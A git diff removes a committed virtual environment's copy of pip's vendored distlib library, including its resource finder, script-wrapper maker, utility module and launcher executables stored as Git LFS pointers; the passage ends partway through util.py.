-            result = self.configurator.convert(value)
-            if value is not result:
-                if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                    result.parent = self
-                    result.key = key
-            return result
-
-    class BaseConfigurator(object):
-        """
-        The configurator base class which defines some useful defaults.
-        """
-
-        CONVERT_PATTERN = re.compile(r'^(?P[a-z]+)://(?P.*)$')
-
-        WORD_PATTERN = re.compile(r'^\s*(\w+)\s*')
-        DOT_PATTERN = re.compile(r'^\.\s*(\w+)\s*')
-        INDEX_PATTERN = re.compile(r'^\[\s*(\w+)\s*\]\s*')
-        DIGIT_PATTERN = re.compile(r'^\d+$')
-
-        value_converters = {
-            'ext': 'ext_convert',
-            'cfg': 'cfg_convert',
-        }
-
-        # We might want to use a different one, e.g. importlib
-        importer = staticmethod(__import__)
-
-        def __init__(self, config):
-            self.config = ConvertingDict(config)
-            self.config.configurator = self
-
-        def resolve(self, s):
-            """
-            Resolve strings to objects using standard import and attribute
-            syntax.
-            """
-            name = s.split('.')
-            used = name.pop(0)
-            try:
-                found = self.importer(used)
-                for frag in name:
-                    used += '.' + frag
-                    try:
-                        found = getattr(found, frag)
-                    except AttributeError:
-                        self.importer(used)
-                        found = getattr(found, frag)
-                return found
-            except ImportError:
-                e, tb = sys.exc_info()[1:]
-                v = ValueError('Cannot resolve %r: %s' % (s, e))
-                v.__cause__, v.__traceback__ = e, tb
-                raise v
-
-        def ext_convert(self, value):
-            """Default converter for the ext:// protocol."""
-            return self.resolve(value)
-
-        def cfg_convert(self, value):
-            """Default converter for the cfg:// protocol."""
-            rest = value
-            m = self.WORD_PATTERN.match(rest)
-            if m is None:
-                raise ValueError("Unable to convert %r" % value)
-            else:
-                rest = rest[m.end():]
-                d = self.config[m.groups()[0]]
-                while rest:
-                    m = self.DOT_PATTERN.match(rest)
-                    if m:
-                        d = d[m.groups()[0]]
-                    else:
-                        m = self.INDEX_PATTERN.match(rest)
-                        if m:
-                            idx = m.groups()[0]
-                            if not self.DIGIT_PATTERN.match(idx):
-                                d = d[idx]
-                            else:
-                                try:
-                                    n = int(idx)  # try as number first (most likely)
-                                    d = d[n]
-                                except TypeError:
-                                    d = d[idx]
-                    if m:
-                        rest = rest[m.end():]
-                    else:
-                        raise ValueError('Unable to convert '
-                                         '%r at %r' % (value, rest))
-            # rest should be empty
-            return d
-
-        def convert(self, value):
-            """
-            Convert values to an appropriate type. dicts, lists and tuples are
-            replaced by their converting alternatives. Strings are checked to
-            see if they have a conversion format and are converted if they do.
-            """
-            if not isinstance(value, ConvertingDict) and isinstance(value, dict):
-                value = ConvertingDict(value)
-                value.configurator = self
-            elif not isinstance(value, ConvertingList) and isinstance(value, list):
-                value = ConvertingList(value)
-                value.configurator = self
-            elif not isinstance(value, ConvertingTuple) and isinstance(value, tuple):
-                value = ConvertingTuple(value)
-                value.configurator = self
-            elif isinstance(value, string_types):
-                m = self.CONVERT_PATTERN.match(value)
-                if m:
-                    d = m.groupdict()
-                    prefix = d['prefix']
-                    converter = self.value_converters.get(prefix, None)
-                    if converter:
-                        suffix = d['suffix']
-                        converter = getattr(self, converter)
-                        value = converter(suffix)
-            return value
-
-        def configure_custom(self, config):
-            """Configure an object with a user-supplied factory."""
-            c = config.pop('()')
-            if not callable(c):
-                c = self.resolve(c)
-            props = config.pop('.', None)
-            # Check for valid identifiers
-            kwargs = dict([(k, config[k]) for k in config if valid_ident(k)])
-            result = c(**kwargs)
-            if props:
-                for name, value in props.items():
-                    setattr(result, name, value)
-            return result
-
-        def as_tuple(self, value):
-            """Utility function which converts lists to tuples."""
-            if isinstance(value, list):
-                value = tuple(value)
-            return value
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/resources.py b/venv/Lib/site-packages/pip/_vendor/distlib/resources.py
deleted file mode 100644
index b908308076bf721cfe0460974de7c4a14cd6e047..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/resources.py
+++ /dev/null
@@ -1,372 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Copyright (C) 2013-2026 Vinay Sajip.
-# Licensed to the Python Software Foundation under a contributor agreement.
-# See LICENSE.txt and CONTRIBUTORS.txt.
-#
-from __future__ import unicode_literals
-
-import bisect
-import io
-import logging
-import os
-import pkgutil
-import sys
-import types
-import zipimport
-
-from . import DistlibException
-from .util import cached_property, get_cache_base, Cache
-
-logger = logging.getLogger(__name__)
-
-cache = None  # created when needed
-
-
-class ResourceCache(Cache):
-
-    def __init__(self, base=None):
-        if base is None:
-            # Use native string to avoid issues on 2.x: see Python #20140.
-            base = os.path.join(get_cache_base(), str('resource-cache'))
-        super(ResourceCache, self).__init__(base)
-
-    def is_stale(self, resource, path):
-        """
-        Is the cache stale for the given resource?
-
-        :param resource: The :class:`Resource` being cached.
-        :param path: The path of the resource in the cache.
-        :return: True if the cache is stale.
-        """
-        # Cache invalidation is a hard problem :-)
-        return True
-
-    def get(self, resource):
-        """
-        Get a resource into the cache,
-
-        :param resource: A :class:`Resource` instance.
-        :return: The pathname of the resource in the cache.
-        """
-        prefix, path = resource.finder.get_cache_info(resource)
-        if prefix is None:
-            result = path
-        else:
-            result = os.path.join(self.base, self.prefix_to_dir(prefix), path)
-            dirname = os.path.dirname(result)
-            if not os.path.isdir(dirname):
-                os.makedirs(dirname)
-            if not os.path.exists(result):
-                stale = True
-            else:
-                stale = self.is_stale(resource, path)
-            if stale:
-                # write the bytes of the resource to the cache location
-                with open(result, 'wb') as f:
-                    f.write(resource.bytes)
-        return result
-
-
-class ResourceBase(object):
-
-    def __init__(self, finder, name):
-        self.finder = finder
-        self.name = name
-
-
-class Resource(ResourceBase):
-    """
-    A class representing an in-package resource, such as a data file. This is
-    not normally instantiated by user code, but rather by a
-    :class:`ResourceFinder` which manages the resource.
-    """
-    is_container = False  # Backwards compatibility
-
-    def as_stream(self):
-        """
-        Get the resource as a stream.
-
-        This is not a property to make it obvious that it returns a new stream
-        each time.
-        """
-        return self.finder.get_stream(self)
-
-    @cached_property
-    def file_path(self):
-        global cache
-        if cache is None:
-            cache = ResourceCache()
-        return cache.get(self)
-
-    @cached_property
-    def bytes(self):
-        return self.finder.get_bytes(self)
-
-    @cached_property
-    def size(self):
-        return self.finder.get_size(self)
-
-
-class ResourceContainer(ResourceBase):
-    is_container = True  # Backwards compatibility
-
-    @cached_property
-    def resources(self):
-        return self.finder.get_resources(self)
-
-
-class ResourceFinder(object):
-    """
-    Resource finder for file system resources.
-    """
-
-    if sys.platform.startswith('java'):
-        skipped_extensions = ('.pyc', '.pyo', '.class')
-    else:
-        skipped_extensions = ('.pyc', '.pyo')
-
-    def __init__(self, module):
-        self.module = module
-        self.loader = getattr(module, '__loader__', None)
-        self.base = os.path.dirname(getattr(module, '__file__', ''))
-
-    def _adjust_path(self, path):
-        return os.path.realpath(path)
-
-    def _is_in_base(self, path):
-        base = self._adjust_path(self.base)
-        if path == base:
-            return True
-        if not base.endswith(os.sep):
-            base = base + os.sep
-        return path.startswith(base)
-
-    def _make_path(self, resource_name):
-        # Issue #50: need to preserve type of path on Python 2.x
-        # like os.path._get_sep
-        if isinstance(resource_name, bytes):  # should only happen on 2.x
-            sep = b'/'
-        else:
-            sep = '/'
-        parts = resource_name.split(sep)
-        parts.insert(0, self.base)
-        result = os.path.join(*parts)
-        result = self._adjust_path(result)
-        # Confine the resolved resource to the package base so a resource
-        # name containing '..' cannot read files outside the package.
-        if not self._is_in_base(result):
-            raise DistlibException('Resource name escapes package: '
-                                   '%r' % resource_name)
-        return result
-
-    def _find(self, path):
-        return os.path.exists(path)
-
-    def get_cache_info(self, resource):
-        return None, resource.path
-
-    def find(self, resource_name):
-        path = self._make_path(resource_name)
-        if not self._find(path):
-            result = None
-        else:
-            if self._is_directory(path):
-                result = ResourceContainer(self, resource_name)
-            else:
-                result = Resource(self, resource_name)
-            result.path = path
-        return result
-
-    def get_stream(self, resource):
-        return open(resource.path, 'rb')
-
-    def get_bytes(self, resource):
-        with open(resource.path, 'rb') as f:
-            return f.read()
-
-    def get_size(self, resource):
-        return os.path.getsize(resource.path)
-
-    def get_resources(self, resource):
-
-        def allowed(f):
-            return (f != '__pycache__' and not f.endswith(self.skipped_extensions))
-
-        return set([f for f in os.listdir(resource.path) if allowed(f)])
-
-    def is_container(self, resource):
-        return self._is_directory(resource.path)
-
-    _is_directory = staticmethod(os.path.isdir)
-
-    def iterator(self, resource_name):
-        resource = self.find(resource_name)
-        if resource is not None:
-            todo = [resource]
-            while todo:
-                resource = todo.pop(0)
-                yield resource
-                if resource.is_container:
-                    rname = resource.name
-                    for name in resource.resources:
-                        if not rname:
-                            new_name = name
-                        else:
-                            new_name = '/'.join([rname, name])
-                        child = self.find(new_name)
-                        if child.is_container:
-                            todo.append(child)
-                        else:
-                            yield child
-
-
-class ZipResourceFinder(ResourceFinder):
-    """
-    Resource finder for resources in .zip files.
-    """
-
-    def __init__(self, module):
-        super(ZipResourceFinder, self).__init__(module)
-        archive = self.loader.archive
-        self.prefix_len = 1 + len(archive)
-        # PyPy doesn't have a _files attr on zipimporter, and you can't set one
-        if hasattr(self.loader, '_files'):
-            self._files = self.loader._files
-        else:
-            self._files = zipimport._zip_directory_cache[archive]
-        self.index = sorted(self._files)
-
-    def _adjust_path(self, path):
-        return path
-
-    def _find(self, path):
-        path = path[self.prefix_len:]
-        if path in self._files:
-            result = True
-        else:
-            if path and path[-1] != os.sep:
-                path = path + os.sep
-            i = bisect.bisect(self.index, path)
-            try:
-                result = self.index[i].startswith(path)
-            except IndexError:
-                result = False
-        if not result:
-            logger.debug('_find failed: %r %r', path, self.loader.prefix)
-        else:
-            logger.debug('_find worked: %r %r', path, self.loader.prefix)
-        return result
-
-    def get_cache_info(self, resource):
-        prefix = self.loader.archive
-        path = resource.path[1 + len(prefix):]
-        return prefix, path
-
-    def get_bytes(self, resource):
-        return self.loader.get_data(resource.path)
-
-    def get_stream(self, resource):
-        return io.BytesIO(self.get_bytes(resource))
-
-    def get_size(self, resource):
-        path = resource.path[self.prefix_len:]
-        return self._files[path][3]
-
-    def get_resources(self, resource):
-        path = resource.path[self.prefix_len:]
-        if path and path[-1] != os.sep:
-            path += os.sep
-        plen = len(path)
-        result = set()
-        i = bisect.bisect(self.index, path)
-        while i < len(self.index):
-            if not self.index[i].startswith(path):
-                break
-            s = self.index[i][plen:]
-            result.add(s.split(os.sep, 1)[0])  # only immediate children
-            i += 1
-        return result
-
-    def _is_directory(self, path):
-        path = path[self.prefix_len:]
-        if path and path[-1] != os.sep:
-            path += os.sep
-        i = bisect.bisect(self.index, path)
-        try:
-            result = self.index[i].startswith(path)
-        except IndexError:
-            result = False
-        return result
-
-
-_finder_registry = {type(None): ResourceFinder, zipimport.zipimporter: ZipResourceFinder}
-
-try:
-    # In Python 3.6, _frozen_importlib -> _frozen_importlib_external
-    try:
-        import _frozen_importlib_external as _fi
-    except ImportError:
-        import _frozen_importlib as _fi
-    _finder_registry[_fi.SourceFileLoader] = ResourceFinder
-    _finder_registry[_fi.FileFinder] = ResourceFinder
-    # See issue #146
-    _finder_registry[_fi.SourcelessFileLoader] = ResourceFinder
-    del _fi
-except (ImportError, AttributeError):
-    pass
-
-
-def register_finder(loader, finder_maker):
-    _finder_registry[type(loader)] = finder_maker
-
-
-_finder_cache = {}
-
-
-def finder(package):
-    """
-    Return a resource finder for a package.
-    :param package: The name of the package.
-    :return: A :class:`ResourceFinder` instance for the package.
-    """
-    if package in _finder_cache:
-        result = _finder_cache[package]
-    else:
-        if package not in sys.modules:
-            __import__(package)
-        module = sys.modules[package]
-        path = getattr(module, '__path__', None)
-        if path is None:
-            raise DistlibException('You cannot get a finder for a module, '
-                                   'only for a package')
-        loader = getattr(module, '__loader__', None)
-        finder_maker = _finder_registry.get(type(loader))
-        if finder_maker is None:
-            raise DistlibException('Unable to locate finder for %r' % package)
-        result = finder_maker(module)
-        _finder_cache[package] = result
-    return result
-
-
-_dummy_module = types.ModuleType(str('__dummy__'))
-
-
-def finder_for_path(path):
-    """
-    Return a resource finder for a path, which should represent a container.
-
-    :param path: The path.
-    :return: A :class:`ResourceFinder` instance for the path.
-    """
-    result = None
-    # calls any path hooks, gets importer into cache
-    pkgutil.get_importer(path)
-    loader = sys.path_importer_cache.get(path)
-    finder = _finder_registry.get(type(loader))
-    if finder:
-        module = _dummy_module
-        module.__file__ = os.path.join(path, '')
-        module.__loader__ = loader
-        result = finder(module)
-    return result
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/scripts.py b/venv/Lib/site-packages/pip/_vendor/distlib/scripts.py
deleted file mode 100644
index ac9e909ece29b0ad5a3fb0630088aa7de98858c0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/scripts.py
+++ /dev/null
@@ -1,451 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Copyright (C) 2013-2026 Vinay Sajip.
-# Licensed to the Python Software Foundation under a contributor agreement.
-# See LICENSE.txt and CONTRIBUTORS.txt.
-#
-from io import BytesIO
-import logging
-import os
-import re
-import struct
-import sys
-import time
-from zipfile import ZipInfo
-
-from . import DistlibException
-from .compat import sysconfig, detect_encoding, ZipFile
-from .resources import finder
-from .util import (FileOperator, get_export_entry, convert_path, get_executable, get_platform, in_venv,
-                   is_in_directory)
-
-logger = logging.getLogger(__name__)
-
-_DEFAULT_MANIFEST = '''
-
-
- 
-
- 
- 
- 
- 
- 
- 
- 
- 
-'''.strip()
-
-# check if Python is called on the first line with this expression
-FIRST_LINE_RE = re.compile(b'^#!.*pythonw?[0-9.]*([ \t].*)?$')
-SCRIPT_TEMPLATE = r'''# -*- coding: utf-8 -*-
-import re
-import sys
-if __name__ == '__main__':
-    from %(module)s import %(import_name)s
-    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
-    sys.exit(%(func)s())
-'''
-
-# Pre-fetch the contents of all executable wrapper stubs.
-# This is to address https://github.com/pypa/pip/issues/12666.
-# When updating pip, we rename the old pip in place before installing the
-# new version. If we try to fetch a wrapper *after* that rename, the finder
-# machinery will be confused as the package is no longer available at the
-# location where it was imported from. So we load everything into memory in
-# advance.
-
-if os.name == 'nt' or (os.name == 'java' and os._name == 'nt'):
-    # Issue 31: don't hardcode an absolute package name, but
-    # determine it relative to the current package
-    DISTLIB_PACKAGE = __name__.rsplit('.', 1)[0]
-
-    WRAPPERS = {
-        r.name: r.bytes
-        for r in finder(DISTLIB_PACKAGE).iterator("")
-        if r.name.endswith(".exe")
-    }
-
-
-def enquote_executable(executable):
-    if ' ' in executable:
-        # make sure we quote only the executable in case of env
-        # for example /usr/bin/env "/dir with spaces/bin/jython"
-        # instead of "/usr/bin/env /dir with spaces/bin/jython"
-        # otherwise whole
-        if executable.startswith('/usr/bin/env '):
-            env, _executable = executable.split(' ', 1)
-            if ' ' in _executable and not _executable.startswith('"'):
-                executable = '%s "%s"' % (env, _executable)
-        else:
-            if not executable.startswith('"'):
-                executable = '"%s"' % executable
-    return executable
-
-
-# Keep the old name around (for now), as there is at least one project using it!
-_enquote_executable = enquote_executable
-
-
-class ScriptMaker(object):
-    """
-    A class to copy or create scripts from source scripts or callable
-    specifications.
-    """
-    script_template = SCRIPT_TEMPLATE
-
-    executable = None  # for shebangs
-
-    def __init__(self, source_dir, target_dir, add_launchers=True, dry_run=False, fileop=None):
-        self.source_dir = source_dir
-        self.target_dir = target_dir
-        self.add_launchers = add_launchers
-        self.force = False
-        self.clobber = False
-        # It only makes sense to set mode bits on POSIX.
-        self.set_mode = (os.name == 'posix') or (os.name == 'java' and os._name == 'posix')
-        self.variants = set(('', 'X.Y'))
-        self._fileop = fileop or FileOperator(dry_run)
-
-        self._is_nt = os.name == 'nt' or (os.name == 'java' and os._name == 'nt')
-        self.version_info = sys.version_info
-
-    def _get_alternate_executable(self, executable, options):
-        if options.get('gui', False) and self._is_nt:  # pragma: no cover
-            dn, fn = os.path.split(executable)
-            fn = fn.replace('python', 'pythonw')
-            executable = os.path.join(dn, fn)
-        return executable
-
-    if sys.platform.startswith('java'):  # pragma: no cover
-
-        def _is_shell(self, executable):
-            """
-            Determine if the specified executable is a script
-            (contains a #! line)
-            """
-            try:
-                with open(executable) as fp:
-                    return fp.read(2) == '#!'
-            except (OSError, IOError):
-                logger.warning('Failed to open %s', executable)
-                return False
-
-        def _fix_jython_executable(self, executable):
-            if self._is_shell(executable):
-                # Workaround for Jython is not needed on Linux systems.
-                import java
-
-                if java.lang.System.getProperty('os.name') == 'Linux':
-                    return executable
-            elif executable.lower().endswith('jython.exe'):
-                # Use wrapper exe for Jython on Windows
-                return executable
-            return '/usr/bin/env %s' % executable
-
-    def _build_shebang(self, executable, post_interp):
-        """
-        Build a shebang line. In the simple case (on Windows, or a shebang line
-        which is not too long or contains spaces) use a simple formulation for
-        the shebang. Otherwise, use /bin/sh as the executable, with a contrived
-        shebang which allows the script to run either under Python or sh, using
-        suitable quoting. Thanks to Harald Nordgren for his input.
-
-        See also: http://www.in-ulm.de/~mascheck/various/shebang/#length
-                  https://hg.mozilla.org/mozilla-central/file/tip/mach
-        """
-        if os.name != 'posix':
-            simple_shebang = True
-        elif getattr(sys, "cross_compiling", False):
-            # In a cross-compiling environment, the shebang will likely be a
-            # script; this *must* be invoked with the "safe" version of the
-            # shebang, or else using os.exec() to run the entry script will
-            # fail, raising "OSError 8 [Errno 8] Exec format error".
-            simple_shebang = False
-        else:
-            # Add 3 for '#!' prefix and newline suffix.
-            shebang_length = len(executable) + len(post_interp) + 3
-            if sys.platform == 'darwin':
-                max_shebang_length = 512
-            else:
-                max_shebang_length = 127
-            simple_shebang = ((b' ' not in executable) and (shebang_length <= max_shebang_length))
-
-        if simple_shebang:
-            result = b'#!' + executable + post_interp + b'\n'
-        else:
-            result = b'#!/bin/sh\n'
-            result += b"'''exec' " + executable + post_interp + b' "$0" "$@"\n'
-            result += b"' '''\n"
-        return result
-
-    def _get_shebang(self, encoding, post_interp=b'', options=None):
-        enquote = True
-        if self.executable:
-            executable = self.executable
-            enquote = False  # assume this will be taken care of
-        elif not sysconfig.is_python_build():
-            executable = get_executable()
-        elif in_venv():  # pragma: no cover
-            executable = os.path.join(sysconfig.get_path('scripts'), 'python%s' % sysconfig.get_config_var('EXE'))
-        else:  # pragma: no cover
-            if os.name == 'nt':
-                # for Python builds from source on Windows, no Python executables with
-                # a version suffix are created, so we use python.exe
-                executable = os.path.join(sysconfig.get_config_var('BINDIR'),
-                                          'python%s' % (sysconfig.get_config_var('EXE')))
-            else:
-                executable = os.path.join(
-                    sysconfig.get_config_var('BINDIR'),
-                    'python%s%s' % (sysconfig.get_config_var('VERSION'), sysconfig.get_config_var('EXE')))
-        if options:
-            executable = self._get_alternate_executable(executable, options)
-
-        if sys.platform.startswith('java'):  # pragma: no cover
-            executable = self._fix_jython_executable(executable)
-
-        # Normalise case for Windows - COMMENTED OUT
-        # executable = os.path.normcase(executable)
-        # N.B. The normalising operation above has been commented out: See
-        # issue #124. Although paths in Windows are generally case-insensitive,
-        # they aren't always. For example, a path containing a ẞ (which is a
-        # LATIN CAPITAL LETTER SHARP S - U+1E9E) is normcased to ß (which is a
-        # LATIN SMALL LETTER SHARP S' - U+00DF). The two are not considered by
-        # Windows as equivalent in path names.
-
-        # If the user didn't specify an executable, it may be necessary to
-        # cater for executable paths with spaces (not uncommon on Windows)
-        if enquote:
-            executable = enquote_executable(executable)
-        # Issue #51: don't use fsencode, since we later try to
-        # check that the shebang is decodable using utf-8.
-        executable = executable.encode('utf-8')
-        # in case of IronPython, play safe and enable frames support
-        if (sys.platform == 'cli' and '-X:Frames' not in post_interp and
-                '-X:FullFrames' not in post_interp):  # pragma: no cover
-            post_interp += b' -X:Frames'
-        shebang = self._build_shebang(executable, post_interp)
-        # Python parser starts to read a script using UTF-8 until
-        # it gets a #coding:xxx cookie. The shebang has to be the
-        # first line of a file, the #coding:xxx cookie cannot be
-        # written before. So the shebang has to be decodable from
-        # UTF-8.
-        try:
-            shebang.decode('utf-8')
-        except UnicodeDecodeError:  # pragma: no cover
-            raise ValueError('The shebang (%r) is not decodable from utf-8' % shebang)
-        # If the script is encoded to a custom encoding (use a
-        # #coding:xxx cookie), the shebang has to be decodable from
-        # the script encoding too.
-        if encoding != 'utf-8':
-            try:
-                shebang.decode(encoding)
-            except UnicodeDecodeError:  # pragma: no cover
-                raise ValueError('The shebang (%r) is not decodable '
-                                 'from the script encoding (%r)' % (shebang, encoding))
-        return shebang
-
-    def _get_script_text(self, entry):
-        return self.script_template % dict(
-            module=entry.prefix, import_name=entry.suffix.split('.')[0], func=entry.suffix)
-
-    manifest = _DEFAULT_MANIFEST
-
-    def get_manifest(self, exename):
-        base = os.path.basename(exename)
-        return self.manifest % base
-
-    def _write_script(self, names, shebang, script_bytes, filenames, ext):
-        use_launcher = self.add_launchers and self._is_nt
-        if not use_launcher:
-            script_bytes = shebang + script_bytes
-        else:  # pragma: no cover
-            if ext == 'py':
-                launcher = self._get_launcher('t')
-            else:
-                launcher = self._get_launcher('w')
-            stream = BytesIO()
-            with ZipFile(stream, 'w') as zf:
-                source_date_epoch = os.environ.get('SOURCE_DATE_EPOCH')
-                if source_date_epoch:
-                    date_time = time.gmtime(int(source_date_epoch))[:6]
-                    zinfo = ZipInfo(filename='__main__.py', date_time=date_time)
-                    zf.writestr(zinfo, script_bytes)
-                else:
-                    zf.writestr('__main__.py', script_bytes)
-            zip_data = stream.getvalue()
-            script_bytes = launcher + shebang + zip_data
-        for name in names:
-            outname = os.path.abspath(os.path.join(self.target_dir, name))
-            if not is_in_directory(outname, self.target_dir):
-                raise DistlibException('Attempt to escape script directory')
-            if use_launcher:  # pragma: no cover
-                n, e = os.path.splitext(outname)
-                if e.startswith('.py'):
-                    outname = n
-                outname = '%s.exe' % outname
-                try:
-                    self._fileop.write_binary_file(outname, script_bytes)
-                except Exception:
-                    # Failed writing an executable - it might be in use.
-                    logger.warning('Failed to write executable - trying to '
-                                   'use .deleteme logic')
-                    dfname = '%s.deleteme' % outname
-                    if os.path.exists(dfname):
-                        os.remove(dfname)  # Not allowed to fail here
-                    os.rename(outname, dfname)  # nor here
-                    self._fileop.write_binary_file(outname, script_bytes)
-                    logger.debug('Able to replace executable using '
-                                 '.deleteme logic')
-                    try:
-                        os.remove(dfname)
-                    except Exception:
-                        pass  # still in use - ignore error
-            else:
-                if self._is_nt and not outname.endswith('.' + ext):  # pragma: no cover
-                    outname = '%s.%s' % (outname, ext)
-                if os.path.exists(outname) and not self.clobber:
-                    logger.warning('Skipping existing file %s', outname)
-                    continue
-                self._fileop.write_binary_file(outname, script_bytes)
-                if self.set_mode:
-                    self._fileop.set_executable_mode([outname])
-            filenames.append(outname)
-
-    variant_separator = '-'
-
-    def get_script_filenames(self, name):
-        result = set()
-        if '' in self.variants:
-            result.add(name)
-        if 'X' in self.variants:
-            result.add('%s%s' % (name, self.version_info[0]))
-        if 'X.Y' in self.variants:
-            result.add('%s%s%s.%s' % (name, self.variant_separator, self.version_info[0], self.version_info[1]))
-        return result
-
-    def _make_script(self, entry, filenames, options=None):
-        post_interp = b''
-        if options:
-            args = options.get('interpreter_args', [])
-            if args:
-                args = ' %s' % ' '.join(args)
-                post_interp = args.encode('utf-8')
-        shebang = self._get_shebang('utf-8', post_interp, options=options)
-        script = self._get_script_text(entry).encode('utf-8')
-        scriptnames = self.get_script_filenames(entry.name)
-        if options and options.get('gui', False):
-            ext = 'pyw'
-        else:
-            ext = 'py'
-        self._write_script(scriptnames, shebang, script, filenames, ext)
-
-    def _copy_script(self, script, filenames):
-        adjust = False
-        script = os.path.join(self.source_dir, convert_path(script))
-        outname = os.path.join(self.target_dir, os.path.basename(script))
-        if not self.force and not self._fileop.newer(script, outname):
-            logger.debug('not copying %s (up-to-date)', script)
-            return
-
-        # Always open the file, but ignore failures in dry-run mode --
-        # that way, we'll get accurate feedback if we can read the
-        # script.
-        try:
-            f = open(script, 'rb')
-        except IOError:  # pragma: no cover
-            if not self.dry_run:
-                raise
-            f = None
-        else:
-            first_line = f.readline()
-            if not first_line:  # pragma: no cover
-                logger.warning('%s is an empty file (skipping)', script)
-                return
-
-            match = FIRST_LINE_RE.match(first_line.replace(b'\r\n', b'\n'))
-            if match:
-                adjust = True
-                post_interp = match.group(1) or b''
-
-        if not adjust:
-            if f:
-                f.close()
-            self._fileop.copy_file(script, outname)
-            if self.set_mode:
-                self._fileop.set_executable_mode([outname])
-            filenames.append(outname)
-        else:
-            logger.info('copying and adjusting %s -> %s', script, self.target_dir)
-            if not self._fileop.dry_run:
-                encoding, lines = detect_encoding(f.readline)
-                f.seek(0)
-                shebang = self._get_shebang(encoding, post_interp)
-                if b'pythonw' in first_line:  # pragma: no cover
-                    ext = 'pyw'
-                else:
-                    ext = 'py'
-                n = os.path.basename(outname)
-                self._write_script([n], shebang, f.read(), filenames, ext)
-            if f:
-                f.close()
-
-    @property
-    def dry_run(self):
-        return self._fileop.dry_run
-
-    @dry_run.setter
-    def dry_run(self, value):
-        self._fileop.dry_run = value
-
-    if os.name == 'nt' or (os.name == 'java' and os._name == 'nt'):  # pragma: no cover
-        # Executable launcher support.
-        # Launchers are from https://bitbucket.org/vinay.sajip/simple_launcher/
-
-        def _get_launcher(self, kind):
-            if struct.calcsize('P') == 8:  # 64-bit
-                bits = '64'
-            else:
-                bits = '32'
-            platform_suffix = '-arm' if get_platform() == 'win-arm64' else ''
-            name = '%s%s%s.exe' % (kind, bits, platform_suffix)
-            if name not in WRAPPERS:
-                msg = ('Unable to find resource %s in package %s' %
-                       (name, DISTLIB_PACKAGE))
-                raise ValueError(msg)
-            return WRAPPERS[name]
-
-    # Public API follows
-
-    def make(self, specification, options=None):
-        """
-        Make a script.
-
-        :param specification: The specification, which is either a valid export
-                              entry specification (to make a script from a
-                              callable) or a filename (to make a script by
-                              copying from a source location).
-        :param options: A dictionary of options controlling script generation.
-        :return: A list of all absolute pathnames written to.
-        """
-        filenames = []
-        entry = get_export_entry(specification)
-        if entry is None:
-            self._copy_script(specification, filenames)
-        else:
-            self._make_script(entry, filenames, options=options)
-        return filenames
-
-    def make_multiple(self, specifications, options=None):
-        """
-        Take a list of specifications and make scripts from them,
-        :param specifications: A list of specifications.
-        :return: A list of all absolute pathnames written to,
-        """
-        filenames = []
-        for specification in specifications:
-            filenames.extend(self.make(specification, options))
-        return filenames
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/t32.exe b/venv/Lib/site-packages/pip/_vendor/distlib/t32.exe
deleted file mode 100644
index 52154f0be32cc2bdbf98af131d477900667d0abd..0000000000000000000000000000000000000000
Binary files a/venv/Lib/site-packages/pip/_vendor/distlib/t32.exe and /dev/null differ
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/t64-arm.exe b/venv/Lib/site-packages/pip/_vendor/distlib/t64-arm.exe
deleted file mode 100644
index 4c236ed0ab8253ceee9276ddc3cf5ed9a7ea6a4c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/t64-arm.exe
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ebc4c06b7d95e74e315419ee7e88e1d0f71e9e9477538c00a93a9ff8c66a6cfc
-size 182784
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/t64.exe b/venv/Lib/site-packages/pip/_vendor/distlib/t64.exe
deleted file mode 100644
index 3fd3d2df6541617229f21bdbb49fbbfc880b7f50..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/t64.exe
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:81a618f21cb87db9076134e70388b6e9cb7c2106739011b6a51772d22cae06b7
-size 108032
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/util.py b/venv/Lib/site-packages/pip/_vendor/distlib/util.py
deleted file mode 100644
index b120ca80558ba7457f084f1e580915a3af5b5e5d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/util.py
+++ /dev/null
@@ -1,2021 +0,0 @@
-#
-# Copyright (C) 2012-2026 The Python Software Foundation.
-# See LICENSE.txt and CONTRIBUTORS.txt.
-#
-import codecs
-from collections import deque
-import contextlib
-import csv
-from glob import iglob as std_iglob
-import io
-import json
-import logging
-import os
-import py_compile
-import re
-import socket
-try:
-    import ssl
-except ImportError:  # pragma: no cover
-    ssl = None
-import subprocess
-import sys
-import tarfile
-import tempfile
-import textwrap
-
-try:
-    import threading
-except ImportError:  # pragma: no cover
-    import dummy_threading as threading
-import time
-
-from . import DistlibException
-from .compat import (string_types, text_type, shutil, raw_input, StringIO, cache_from_source, urlopen, urljoin, httplib,
-                     xmlrpclib, HTTPHandler, BaseConfigurator, valid_ident, Container, configparser, URLError, ZipFile,
-                     fsdecode, unquote, urlparse)
-
-logger = logging.getLogger(__name__)
-
-#
-# Requirement parsing code as per PEP 508
-#
-
-IDENTIFIER = re.compile(r'^([\w\.-]+)\s*')
-VERSION_IDENTIFIER = re.compile(r'^([\w\.*+-]+)\s*')
-COMPARE_OP = re.compile(r'^(<=?|>=?|={2,3}|[~!]=)\s*')
-MARKER_OP = re.compile(r'^((<=?)|(>=?)|={2,3}|[~!]=|in|not\s+in)\s*')
-OR = re.compile(r'^or\b\s*')
-AND = re.compile(r'^and\b\s*')
-NON_SPACE = re.compile(r'(\S+)\s*')
-STRING_CHUNK = re.compile(r'([\s\w\.{}()*+#:;,/?!~`@$%^&=|<>\[\]-]+)')
-
-
-def parse_marker(marker_string):
-    """
-    Parse a marker string and return a dictionary containing a marker expression.
-
-    The dictionary will contain keys "op", "lhs" and "rhs" for non-terminals in
-    the expression grammar, or strings. A string contained in quotes is to be
